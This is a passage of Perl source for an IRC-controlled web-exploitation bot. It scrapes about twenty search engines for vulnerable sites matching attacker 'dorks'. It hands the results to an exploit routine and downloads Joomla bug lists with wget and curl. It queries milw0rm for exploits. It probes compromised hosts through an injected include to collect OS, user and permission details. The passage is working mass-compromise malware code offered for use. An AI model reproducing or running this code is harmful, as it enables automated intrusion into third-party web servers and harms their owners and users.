 $engz[17] = fork(); if ($engz[17] == 0) { s_engine("euroseek","Euroseek",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[18] = fork(); if ($engz[18] == 0) { s_engine("hotbot","Hotbot",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[19] = fork(); if ($engz[19] == 0) { s_engine("webcrawl","WebCrawler",$type,$chan,$bug,$dork,$nf); exit; }
 #$engz[20]  = fork(); if ($engz[1]  == 0) { s_engine("aol","Aol",$type,$chan,$bug,$dork,$nf); exit; }
 #$engz[21]  = fork(); if ($engz[2]  == 0) { s_engine("netscape","Netscape",$type,$chan,$bug,$dork,$nf); exit; }
 #$engz[22] = fork(); if ($engz[19] == 0) { s_engine("abacho","Abacho",$type,$chan,$bug,$dork,$nf); exit; }
 irc_msg($chan,$colz{1}."MeNunGGu ".scalar(@engz)." PID ProSes SearCh EnGiNe..".$colz{2});
 foreach my $e (@engz) { waitpid($e,0); }
}
sub s_engine {
   my ($f,$se,$type,$chan,$bug,$dork,$ef) = @_;
   my @hc;
   if    ($f eq "google"   ) { @hc = se_google($chan,$dork,$ef); }
   elsif ($f eq "google2"  ) { @hc = se_google_m($chan,$dork,$ef); }
   elsif ($f eq "aol"      ) { @hc = se_aol($chan,$dork,$ef); } #Unused
   elsif ($f eq "netscape" ) { @hc = se_netscape($chan,$dork,$ef); } #Unused
   elsif ($f eq "yahoo"    ) { @hc = se_yahoo($chan,$dork,$ef); }
   elsif ($f eq "altavista") { @hc = se_altavista($chan,$dork,$ef); }
   elsif ($f eq "alltheweb") { @hc = se_alltheweb($chan,$dork,$ef); }
   elsif ($f eq "goodsrch" ) { @hc = se_goodsearch($chan,$dork,$ef); }
   elsif ($f eq "ask"      ) { @hc = se_ask($chan,$dork,$ef); }
   elsif ($f eq "fireball" ) { @hc = se_fireball($chan,$dork,$ef); }
   elsif ($f eq "gigablast") { @hc = se_gigablast($chan,$dork,$ef); }
   elsif ($f eq "lycos"    ) { @hc = se_lycos($chan,$dork,$ef); }
   elsif ($f eq "live"     ) { @hc = se_live($chan,$dork,$ef); }
   elsif ($f eq "hotbot"   ) { @hc = se_hotbot($chan,$dork,$ef); }
   elsif ($f eq "virgilio" ) { @hc = se_virgilio($chan,$dork,$ef); }
   elsif ($f eq "webde"    ) { @hc = se_webde($chan,$dork,$ef); }
   elsif ($f eq "uol"      ) { @hc = se_uol($chan,$dork,$ef); }
   elsif ($f eq "abacho"   ) { @hc = se_abacho($chan,$dork,$ef); } #Unused
   elsif ($f eq "mamma"    ) { @hc = se_mamma($chan,$dork,$ef); }
   elsif ($f eq "clusty"   ) { @hc = se_clusty($chan,$dork,$ef); }
   elsif ($f eq "dmoz"     ) { @hc = se_dmoz($chan,$dork,$ef); }
   elsif ($f eq "euroseek" ) { @hc = se_euroseek($chan,$dork,$ef); }
   elsif ($f eq "webcrawl" ) { @hc = se_webcrawler($chan,$dork,$ef); }
   my @cl = lnk_sortir(@hc);
   msgr($chan,$se,scalar(@hc),scalar(@cl));
   if (scalar(@cl) == 0) { exit; }
   if ($type == 1) { foreach my $e (@cl) { f_simpan($ef,$e); } }
   else {
     my $ef2 = $f.$ef;
     foreach my $e (@cl) { f_simpan($ef2,$e); }
     if    ($type == 2) { s_eksploit(2,$chan,$bug,$dork,$ef2,$se); }
     elsif ($type == 3) { s_eksploit(3,$chan,$bug,$dork,$ef2,$se); }
   }
}
##[ GOOGLE ]##
sub se_google {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 50; my $max = 3000; my $p = 0;
 #my $url = "http://localhost/search/google.co.id.htm";
 my $url = "http://www.google.co.id/search?num=".$num."&hl=id&q=".$key."&start=".$p."&sa=N";
 my $murl = "http://www.google.co.id";
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q !~ /2008 Google/ ) { msge($chan,"Google","KeNa BaN!!"); @daftar = se_gbypass($chan,$key,$nf); }
 if ( $q =~ /dari sekitar <b>(.+?)<\/b>/ ) {
   my $h = $1; $h =~ s/,//g; msgt($chan,"Google","$h");
 }
 if ( $q =~ /class=b><a href=\"(.*?)\">/ ) {
     my $nxurl = $1; msgn($dbgchan,"Google","$nxurl");
 }
 while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
 for ($p=50;$p<=$max;$p+=$num) {
   $nxurl = "http://www.google.co.id/search?num=".$num."&hl=id&q=".$key."&start=".$p."&sa=N";
   $q = bukasitus($nxurl);
   while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) {  push (@daftar, $1);  }
   if ( $q !~ /<h3 class=r><a href=\"http:\/\/(.*?)\"/ ) { return @daftar;  }
 }
 return @daftar;
}
##[ GOOGLE BYPASS ]##
sub se_gbypass {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 50; my $max = 1000; my $p = 0;
 my $url = $bypass."?key=".$key."&max=".$max;
 my $nxurl;
 my $q = bukasitus($url);
 while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) {  push (@daftar, $1);  }
 return @daftar;
}
##[ GOOGLE MULTI DOMAIN ]##
sub se_google_m {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 50; my $max = 3000; my $p;
 my @doms = (
   "com","ae","com.ar","at","com.au","be","com.br","ca","ch","cl","de","dk","fi","fr","gr","com.hk",
   "ie","co.il","it","co.jp","co.kr","lt","lv","nl","com.pa","com.pe","pl","pt","ru","com.sg",
   "com.tr","com.tw","com.ua","co.uk","hu");
 my $dom = $doms[rand(scalar(@doms))];
 my $url = "http://www.google.".$dom."/search?&num=".$num."&q=".$key;
 my $murl = "http://www.google.".$dom;
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /class=b><a href=\"(.*?)\">/ ) {
     my $nxurl = $1;
     msgn($dbgchan,"Google.".$dom,$nxurl);
     msgn($chan,"Google.".$dom,"LaGi NyAri..");
 }
 while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
 for ($p=50;$p<=$max;$p+=$num) {
   $nxurl = "http://www.google.".$dom."/search?num=".$num."&q=".$key."&start=".$p."&sa=N";
   $q = bukasitus($nxurl);
   while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) {  push (@daftar, $1);  }
   if ( $q !~ /<h3 class=r><a href=\"http:\/\/(.*?)\"/ ) { return @daftar;  }
 }
 return @daftar;
}
##[ AOL (Ga Pake) ]##
sub se_aol {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 1; my $max = 3000; my $p;
 #my $url = "http://localhost/search/search.aol.com.htm";
 my $url = "http://search.aol.com/aol/search?query=".$key;
 my $murl = "http://search.aol.com/aol/";
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /of&nbsp;about&nbsp;<b>(.*?)<\/b>/ ) {
   my $h = $1; $h =~ s/,//g; msgt($chan,"Aol","$h");
 }
 if ( $q =~ /<span class=\"gspPageNext\"><a href=\"(.*?)\">/ ) {
     my $nxurl = $1; msgn($dbgchan,"Aol","$nxurl");
 }
 while ( $q =~ m/property=\"f:url\">http:\/\/(.*?)<\/p>/g ) { push (@daftar, $1); }
 while ( $q =~ /<span class=\"gspPageNext\"><a href=\"(.*?)\">/ ) {
   $nxurl = $murl.htmltourl($1);
   $q = bukasitus($nxurl);
   while ( $q =~ m/property=\"f:url\">http:\/\/(.*?)<\/p>/g ) { push (@daftar, $1); }
 }
 return @daftar;
}
##[ YAHOO ]##
sub se_yahoo {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 50; my $max = 8000; my $p = "1";
 #my $url = "http://localhost/search/www.search.yahoo.com.htm";
 my $url = "http://www.search.yahoo.com/search?p=".$key."&ei=UTF-8&fr=yfp-t-501&fp_ip=IT&pstart=1&b=".$p;
 my $murl;
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /id=\"infotext\"><p> .*? of(.*?) for/ ) {
   my $h = $1; $h =~ s/,//g; msgt($chan,"Yahoo","$h");
 }
 if ( $q =~ /999 Unable to process request at this time/ ) { msge($chan,"Yahoo","Banned!"); }
 if ( $q =~ /<a id=\"pg-next\" href=\"(.*?)\">Next/ ) {
     my $nxurl = $1; msgn($dbgchan,"Yahoo","$nxurl");
 }
 while ( $q =~ m/26u=(.*?)%26w=/g ) { push (@daftar, $1); }
 while ( $q =~ /<a id=\"pg-next\" href=\"(.*?)\">Next/ ) {
   $p++; if ( $p > $max ) { return @daftar; }
   $nxurl = $murl.htmltourl($1);
   $q = bukasitus($nxurl);
   while ( $q =~ m/26u=(.*?)%26w=/g ) { push (@daftar, $1); }
 }
 return @daftar;
}
##[ ALTAVISTA ]##
sub se_altavista {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 100; my $max = 3000; my $p;
 #my $url = "http://localhost/search/www.altavista.com.htm";
 my $url = "http://www.altavista.com/web/results?itag=ody&q=".$key."&kgs=0&kls=0&nbq=".$num."&stq=".$p;
 my $murl;
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /<a href=\"(.*?)\" target=\"_self\">Next/ ) {
     my $nxurl = $1; msgn($dbgchan,"Altavista","$nxurl");
 }
 while ( $q =~ m/<span class=ngrn>(.*?) <\/span>/g ) { push (@daftar, $1); }
 while ( $q =~ /<a href=\"(.*?)\" target=\"_self\">Next/ ) {
   $nxurl = $murl.htmltourl($1);
   $q = bukasitus($nxurl);
   while ( $q =~ m/<span class=ngrn>(.*?) <\/span>/g ) { push (@daftar, $1); }
 }
 return @daftar;
}
##[ ALLTHEWEB ]##
sub se_alltheweb {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 100; my $max = 20; my $p = 1;
 #my $url = "http://localhost/search/www.alltheweb.com.htm";
 my $url = "http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=".$num."&q=".$key."&o=".$p;
 my $murl;
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /<span class=\"ofSoMany\">(.+?)<\/span>/ ) {
   my $h = $1; $h =~ s/,//g; msgt($chan,"AllTheWeb","$h");
 }
 if ( $q =~ /<a  href=\"(.*?)\" class=\"rnavLink\">Next/ ) {
     my $nxurl = $1; msgn($dbgchan,"AllTheWeb","$nxurl");
 }
 while ( $q =~ m/<span class=\"resURL\">http:\/\/(.+?)<\/span>/g ) { push (@daftar, $1); }
 while ( $q =~ /<a  href=\"(.*?)\" class=\"rnavLink\">Next/ ) {
   $nxurl = $murl.htmltourl($1);
   $q = bukasitus($nxurl);
   while ( $q =~ m/<span class=\"resURL\">http:\/\/(.+?)<\/span>/g ) { push (@daftar, $1); }
 }
 return @daftar;
}
##[ GOODSEARCH ]##
sub se_goodsearch {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 0; my $max = 300; my $p = 1;
 #my $url = "http://localhost/search/www.goodsearch.com.html";
 my $url = "http://www.goodsearch.com/Search.aspx?Keywords=".$key."&page=".$p."&osmax=".$num;
 my $murl = "http://www.goodsearch.com/";
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /of about <strong>(.+?)<\/strong>/ ) {
   my $h = $1; $h =~ s/,//g; msgt($chan,"GoodSearch","$h");
 }
 if ( $q =~ m/&nbsp;<span class=\"search_numberpager_nextprev\"><a href=\"(.+?)\">Next<\/a>/ ) {
     my $nxurl = $1; msgn($dbgchan,"GoodSearch","$nxurl");
 }
 while ( $q =~ m/<a href=\"(Redirect.+?)\">http:\/\/(.*?)<\/a>/g ) { push (@daftar, $2); }
 for ($p=2;$p<=$max;$p++) {
   $url = "http://www.goodsearch.com/Search.aspx?Keywords=".$key."&page=".$p."&osmax=".$num;
   $q = bukasitus($url);
   while ( $q =~ m/<a href=\"(Redirect.+?)\">http:\/\/(.*?)<\/a>/g ) { push (@daftar, $2); }
   if ( $q !~ m/<a href=\"(Redirect.+?)\">http:\/\/(.*?)<\/a>/g ) { return @daftar; }
 }
 return @daftar;
}
## UOL ##
sub se_uol {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 10; my $max = 3000; my $p;
 #my $url = "http://localhost/search/busca.uol.com.br.htm";
 my $url = "http://mundo.busca.uol.com.br/buscar.html?q=".$key."";
 my $murl = "http://busca.uol.com.br";
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /results\">(.+?)<\/strong>/ ) {
   my $h = $1; $h =~ s/,//g; msgt($chan,"Uol","$h");
 }
 if ( $q =~ /<a href=\"(.*?)\" class=\"next\">/ ) {
     my $nxurl = htmltourl($1); msgn($dbgchan,"Uol","$nxurl");
 }
 while ( $q =~ m/<dt><a href=\"http:\/\/(.*?)\">/g ) { push (@daftar, $1); }
 for ($p=1;$p<=$max;$p += $num) {
   $q = bukasitus("http://mundo.busca.uol.com.br/buscar.html?q=".$key."&start=".$p);
   while ( $q =~ m/<dt><a href=\"http:\/\/(.*?)\">/g ) { push (@daftar, $1); }
   if ( $q !~ /<dt><a href/ ) { return @daftar; }
 }
 return @daftar;
}
## LIVE ##
sub se_live {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 10; my $max = 100; my $p;
 #my $url = "http://localhost/search/search.live.com.htm";
 my $url = "http://search.live.com/results.aspx?q=".$key."&go";
 my $murl =  "http://search.live.com";
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /<a  class=\"sb_pagN\" href=\"(.*?)\" onmousedown/ ) {
     my $nxurl = $1; msgn($dbgchan,"Live",htmltourl($nxurl));
 }
 while ( $q =~ m/<h3><a href=\"http:\/\/(.*?)\"/g ) {
   my $l = $1 ; if ($l !~ /google/) { push (@daftar, $l); }
 }
 for ( $p=0;$p<=$max;$p += $num ) {
   $nxurl = $murl.htmltourl($1)."&go";
   $q = bukasitus("http://search.live.com/results.aspx?q=".$key."&first=".$p."&FORM=PORE");
   while ( $q =~ m/<h3><a href=\"http:\/\/(.*?)\"/g ) {
     my $l = $1 ; if ($l !~ /google/) { push (@daftar, $l); }
   }
 }
 return @daftar;
}
## CLUSTY ##
sub se_clusty {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 50;
 #my $url = "http://localhost/search/clusty.com.htm";
 my $url = "http://clusty.com/search?query=".$key."&input-form=clusty-simple&v:sources=webplus";
 my $murl = "http://clusty.com";
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /intronum\">(.+?)<\/span>/ ) {
   my $h = $1; $h =~ s/,//g; msgt($chan,"Clusty","$h");
 }
 if ( $q =~ /<a class=\"listnext\" href=\"(.*?)\">next/ ) {
     my $nxurl = $1; msgn($dbgchan,"Clusty",htmltourl($nxurl));
 }
 while ( $q =~ m/<a target=\"_top\" href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
 while ( $q =~ /<a class=\"listnext\" href=\"(.*?)\">next/ ) {
   $nxurl = $murl.htmltourl($1);
   $q = bukasitus($nxurl);
   while ( $q =~ m/<a target=\"_top\" href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
 }
 return @daftar;
}
##[ ASK ]##
sub se_ask {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 50; my $max = 200; my $p = 1;
 #my $url = "http://localhost/search/www.ask.com.htm";
 my $url = "http://www.ask.com/web?q=".$key."&o=0&l=dir&page=".$p;
 my $murl = "http://www.ask.com/web";
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /<a href=\"(.*?)\" class=\"(.+?)\" style=\"text-decoration:none\" >Next/ ) {
   my $h = $1; $h =~ s/,//g; msgn($dbgchan,"Ask","$h");
 }
 while ( $q =~ m/id=\"(.+?)\" href=\"http:\/\/(.+?)\" onmousedown/g ) {
   my $l = $2 ; if ($l !~ /google|www.ask.com/) { push (@daftar, $l); }
 }
 for ($p=1;$p<=$max;$p++) {
   $q = bukasitus("http://www.ask.com/web?q=".$key."&o=0&l=dir&page=".$p);
   while ( $q =~ m/id=\"(.+?)\" href=\"http:\/\/(.+?)\" onmousedown/g ) {
     my $l = $2 ; if ($l !~ /google|www.ask.com/) { push (@daftar, $l); }
   }
 }
 return @daftar;
}
## LYCOS ##
sub se_lycos {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 10; my $max = 200;  my $p;
 #my $url = "http://localhost/search/search.lycos.com.htm";
 my $url = "http://search.lycos.com/?loc=searchbox&tab=web&adf=on&query=".$key."&submit=image";
 my $murl =  "http://search.lycos.com/";
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /<a href=\"(.*?)\">Next/ ) {
   my $nxurl = $1; msgn($dbgchan,"Lycos","$nxurl");
 }
 while ( $q =~ m/<a href=\"http:\/\/(.*?)\" onmouseover/g ) { push (@daftar, $1); }
 for ( $p=0;$p<=$max;$p++ ) {
   $q = bukasitus("http://search.lycos.com/?query=".$key."&page2=".$p."&tab=web");
   while ( $q =~ m/<a href=\"http:\/\/(.*?)\" onmouseover/g ) { push (@daftar, $1); }
   if ( $q !~ m/<a href=\"http:\/\/(.*?)\" onmouseover/g ) { return @daftar; }
 }
 return @daftar;
}
## GIGABLAST ##
sub se_gigablast {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 50; my $max = 3000;
 #my $url = "http://localhost/search/gigablast.com.htm";
 my $url = "http://www.gigablast.com/search?q=".$key."&n=".$max;
 my $murl = "http://www.gigablast.com";
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /intronum\">(.+?)<\/span>/ ) {
   my $h = $1; $h =~ s/,//g; msgt($chan,"Gigablast","$h");
 }
 if ( $q =~ /<a class=\"navigation\" href="(.*?)\">/ ) {
     my $nxurl = $1; msgn($dbgchan,"Gigablast","$nxurl");
 }
 while ( $q =~ m/<a class=\"result-title\" href=\"http:\/\/(.*?)\">/g ) { push (@daftar, $1); }
 while ( $q =~ /<a class=\"navigation\" href="(.*?)\">/ ) {
   $nxurl = $murl.htmltourl($1);
   $q = bukasitus($nxurl);
   while ( $q =~ m/<a class=\"result-title\" href=\"http:\/\/(.*?)\">/g ) { push (@daftar, $1); }
 }
 return @daftar;
}
## MAMMA ##
sub se_mamma {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 50; my $max = 10; my $p = 1;
 #my $url = "http://localhost/search/mamma.com.htm";
 my $url = "http://mamma.com/Mamma?utfout=1&query=".$key."&qtype=0&rpp=50&cb=Mamma&index=".$p;
 my $murl;
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /Search Results<\/b> .*? of (.*?) for/ ) {
   my $h = $1; $h =~ s/,//g; msgt($chan,"Mamma","$h");
 }
 if ( $q =~ /<a href=\"(.*?)\"><font color=#2A3383 face=verdana size=2>Next/ ) {
   my $h = $1; $h =~ s/,//g; msgn($dbgchan,"Mamma","$h");
 }
 while ( $q =~ m/http:\/\/(.*?)\<\/span>/g ) {
   my $l = $1 ; if ($l !~ /mamma.com/) { push (@daftar, $l); }
 }
 while ( $q =~ /<a href=\"(.*?)\"><font color=#2A3383 face=verdana size=2>Next/ ) {
   $nxurl = $murl.htmltourl($1);
   $q = bukasitus($nxurl);
   while ( $q =~ m/http:\/\/(.*?)\<\/span>/g ) {
     my $l = $1 ; if ($l !~ /mamma.com/) { push (@daftar, $l); }
   }
 }
 return @daftar;
}
## DMOZ ##
sub se_dmoz {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 20; my $max = 3000; my $p = 1;
 #my $url = "http://localhost/search/search.dmoz.org.htm";
 my $url = "http://search.dmoz.org/cgi-bin/search?search=".$key;
 my $murl = "http://search.dmoz.org/cgi-bin/";
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /Open Directory Sites<\/b><\/font> \((.+?) of (.+?)\)/ ) {
   my $h = $2; $h =~ s/,//g; msgt($chan,"Dmoz","$h");
 }
 if ( $q =~ /<a href=\"(.*?)\">Next<\/a>\">/ ) {
     my $nxurl = $1; msgn($dbgchan,"Dmoz","$nxurl");
 }
 while ( $q =~ m/<li><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
 while ( $q =~ /<a href=\"(.*?)\">Next<\/a>/ ) {
   $nxurl = $murl.htmltourl($1);
   $q = bukasitus($nxurl);
   while ( $q =~ m/<li><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
 }
 return @daftar;
}
## VIRGILIO ##
sub se_virgilio {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 20; my $max = 2000; my $p = 0;
 my $url =  "http://ricerca.alice.it/ricerca?qs=".$key."filter=1&site=&lr=&hits=".$num."&offset=".$p;
 my $murl = "http://ricerca.alice.it/";
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /<span>(.*?) risultati per <b>/ ) {
   my $h = $1; $h =~ s/,//g; $h =~ s/\.//g;
   msgt($chan,"Virgilio","$h");
 }
 if ( $q =~ /<a href=\".*\s+<a href=\"(.*?)\"><span>Avanti/ ) {
     my $nxurl = $1; msgn($dbgchan,"Virgilio","$nxurl");
 }
 while ( $q =~ m/<h3><a href=\"http:\/\/(.*?)\" class/g ) { push (@daftar, $1); }
 while ( $q =~ /<a href=\".*\s+<a href=\"(.*?)\"><span>Avanti/ ) {
   $nxurl = $murl.htmltourl($1);
   $q = bukasitus($nxurl);
   while ( $q =~ m/<h3><a href=\"http:\/\/(.*?)\" class/g ) { push (@daftar, $1); }
 }
 return @daftar;
}
## WEBDE ##
sub se_webde {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 1; my $max = 100; my $p;
 for ( $p = 0;$p <= $max; $p += $num ) {
   my $url = "http://suche.web.de/search/web/?pageIndex=".$p."&su=".$key."&y=0&x=0&mc=suche\@web\@navigation\@zahlen.suche\@web";
   my $q = bukasitus($url);
   while ( $q =~ m/<span class=\"url\">http:\/\/(.*?)<\/span>/g ) { push (@daftar, $1); }
   if ( $q !~ /<span class=\"url\">http:\/\/(.*?)<\/span>/ ) { return @daftar; }
 }
 return @daftar;
}
## FIREBALL ##
sub se_fireball {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 1; my $max = 3000; my $p;
 for ( $p = 0;$p <= $max; $p += $num ) {
   my $url = "http://suche.fireball.de/cgi-bin/pursuit?pag=".$p."&query=".$key."&cat=fb_web&enc=utf-8";
   my $q = bukasitus($url);
   while ( $q =~ m/<a href=\"http:\/\/(.*?)\" target/g ) { push (@daftar, $1); }
   if ( $q !~ /<a href=\"http:\/\/(.*?)\" target/ ) { return @daftar; }
   if ( $q =~ /ergab keine Treffer in Deutsche Seiten/ ) { return @daftar; }
 }
 return @daftar;
}
## HOTBOT ##
sub se_hotbot {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 1; my $max = 200; my $p;
 for ( $p = 0;$p <= $max; $p += $num ) {
   my $url = "http://www.hotbot.com/?query=".$key."&ps=&loc=searchbox&tab=web&mode=search&currProv=msn&page=".$p;
   my $q = bukasitus($url);
   while ( $q =~ m/<span class=\"grn\">http:\/\/(.+?)<\/span>/g ) {
     my $l = $1 ; if ($l !~ /hotbot/) { push (@daftar, $l); }
   }
   if ( $q !~ /<span class=\"grn\">http:\/\/(.+?)<\/span>/ ) { return @daftar; }
 }
 return @daftar;
}
## NETSCAPE (Ga pake) ##
sub se_netscape {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 1; my $max = 10; my $p;
 for ( $p = 0;$p <= $max; $p += $num ) {
   my $url = "http://search.netscape.com/search/search?query=".$key."&page=".$p."&y=0&x=0&st=webresults";
   my $q = bukasitus($url);
   while ( $q =~ m/url\">http:\/\/(.*?)<\/p>/g ) {
     my $l = $1 ; if ($l !~ /search.netscape/) { push (@daftar, $l); }
   }
   if ( $q !~ /url\">http:\/\/(.*?)<\/p>/ ) { return @daftar; }
 }
 return @daftar;
}
## WEBCRAWLER ##
sub se_webcrawler {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 50; my $max = 3000; my $p;
 for ( $p = 0;$p <= $max; $p++ ) {
   $num += $num;
   my $url = "http://www.webcrawler.com/webcrawler/ws/redir/qcat=Web/qkw=".$key."/qcoll=relevance/zoom=off/bepersistence=true/qi=".$num."/qk=50/page=".$p."/_iceUrlFlag=11?_IceUrl=true";
   my $q = bukasitus($url);
   while ( $q =~ m/status='http:\/\/(.*?)';/g ) {
     my $l = $1 ; if ($l !~ /webcrawler|google/) { push (@daftar, $l); }
   }
   if ( $q !~ /wsPagerNext/ ) { return @daftar; }
 }
 return @daftar;
}
## EUROSEEK ##
sub se_euroseek {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 10; my $max = 6000; my $p;
 for ( $p = 0;$p <= $max; $p+=$num ) {
   my $url = "http://euroseek.com/system/search.cgi?language=en&mode=internet&start=".$p."&string=".$key;
   my $q = bukasitus($url);
   while ( $q =~ m/<a href=\"http:\/\/(.+?)\" class=\"searchlinklink\">/g ) { push (@daftar, $1); }
   if ( $q !~ /Next/ ) { return @daftar; }
 }
 return @daftar;
}
## ABACHO ##
sub se_abacho {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 10; my $max = 1000; my $p = 0;
 for ( $p = 0;$p <= $max; $p += $num ) {
   my $url = "http://search.abacho.com/it/abacho.it/index.cfm?offset=".$p."&poffset=0&StartCounter=".$p."&q=".$key."&a=&b=&country=it&page=&d_html=&d_pdf=&d_msdoc=&d_xls=&d_ppt=&mesearchkey=&cluster=&coop=";
   my $q = bukasitus($url);
   while ( $q =~ m/target=\"_blank\">http:\/\/(.+?)<\/a>/g ) { push (@daftar, $1); }
   if ( $q !~ m/target=\"_blank\">http:\/\/(.+?)<\/a>/g ) { return @daftar; }
   if ( $q =~ /We didn't find any results matching your query/ ) { return @daftar; }
 }
 return @daftar;
}
## END OF RUTIN SEARCH ENGINE ##

##[ BUG JOOMLA ]##
sub bugjoomla {
 my $mode = $_[0];
 my @bugz;
 system("lwp-download ".$joomlaz);
 system("curl -O ".$joomlaz);
 system("wget ".$joomlaz);
 open(FILE,"< joomla.txt");
 if ($mode eq "hitung") {
   my $baris = 0; my $buff;
   while (sysread FILE, $buff, 4096) { $baris += ($buff =~ tr/\n//); }
   close FILE;
   f_hapus("joomla.txt*");
   return $baris;
 }
 else {
   while ( my $r = <FILE> ) { $r =~ s/\n//g; push(@bugz,$r); }
   close(FILE);
   f_hapus("joomla.txt*");
   return @bugz;
 }
}

##[ MILW0RM ]##
sub milw0rm {
 my ($chan,$key) = @_;
 my $max = 10; my $i;
 #my $q = bukasitus("http://localhost/milw0rm_rfi.htm");
 my $q = bukasitus("http://milw0rm.com/search.php?dong=".urlen($key));
 irc_msg($chan,"0,1 [milw0rm.com]9 $key ");
 while ( $q =~ m/<a href=\"\/exploits\/(.*?)\" target=\"_blank\" class=\"style14\">(.*?)<\/a>/g ) {
   $i++;
   my ($exp,$judul) = ($1,$2);
   irc_msg($chan,$colz{1}." $judul 15http://milw0rm.com/exploits/$exp ");
   sleep(1);
   return if ($i == $max);
 }
}

##[ BERSIH DORK ]##
sub bersihdork {
 my ($chan,$dork) = @_;
 if ( $dork =~ /inurl:|allinurl:|intext:|allintext:|intitle:|allintitle:/ ) {
   irc_msg($chan,$colz{1}." Membersihkan kata kunci Google.. ");
   $dork =~ s/^inurl://g;
   $dork =~ s/^allinurl://g;
   $dork =~ s/^intext://g;
   $dork =~ s/^allintext://g;
   $dork =~ s/^intitle://g;
   $dork =~ s/^allintitle://g;
 }
 return $dork;
}

##[ SORTIR LINK ]##
sub lnk_sortir {
 my @unik = ();
 my %ada  = ();
 foreach my $e ( @_ ) {
   next if $ada{ $e }++;
   push (@unik, $e);
 }
 return @unik;
}

##[ SARING LINK ]##
sub lnk_filter {
 my @unik = ();
 foreach my $url ( @_ ) {
   my $jelek = 0;
   foreach my $b ( @badlinkz ) {
     if ($url =~ /$b/) { $jelek = 1; }
   }
   if ($jelek == 0) { push (@unik, $url); }
 }
 return @unik;
}

##[ SUBLINK ]##
sub lnk_sub {
 my $link = $_[0];
 my (@links,$path);
 my ($host,@paths) = split(/\//,$link);
 $host .= "/";
 push (@links,$host);
 foreach my $e (@paths) {
   if ($e) {
     $path .= $e."/";
     my $sublink = $host.$path;
     push (@links,$sublink);
    }
 }
 return @links;
}

##[ INFO OS ]##
sub info_os {
 my $url = $_[0];
 my @info;
 my $h  = bukasitus($url.$fx29id2."??");
 my ($safe,$os,$uname,$server,$user,$uid,$dir,$perm,$hdd,$disfunc);
 while ( $h =~ m/<br>SAFE: (.+?)<br>/g ) { $safe = $1; }
 while ( $h =~ m/<br>OS: (.+?)<br>/g ) { $os = $1; }
 while ( $h =~ m/<br>UNAME: (.+?)<br>/g ) { $uname = $1; }
 while ( $h =~ m/<br>SERVER: (.+?)<br>/g ) { $server = $1; }
 while ( $h =~ m/<br>USER: (.+?)<br>/g ) { $user = $1; }
 while ( $h =~ m/<br>UID: (.+?)<br>/g ) { $uid = $1; }
 while ( $h =~ m/<br>DIR: (.+?)<br>/g ) { $dir = $1; }
 while ( $h =~ m/<br>PERM: (.+?)<br>/g ) { $perm = $1; }
 while ( $h =~ m/<br>HDD: (.+?)<br>/g ) { $hdd = $1; }
 while ( $h =~ m/<br>DISFUNC: (.+?)<br>/g ) { $disfunc = $1; }
 push (@info,$safe,$os,$uname,$server,$user,$uid,$dir,$perm,$hdd,$disfunc);
 return @info;
}

##[ SAFEMODE INFO ]##
sub safemode {
 my ($type,$chan,$situs,$bug,$engine) = @_;
 my $safemode; my $vurn; my $sb; my $spreaded;
 if ($type == 1) { $vurn = "http://".$situs.$bug; $sb = $vurn."14".$fx29sh."?"; }
 else { $vurn = $situs; $sb = $vurn; }
 my ($safe,$os,$uname,$server,$user,$uid,$dir,$perm,$hdd,$disfunc) = info_os($vurn);
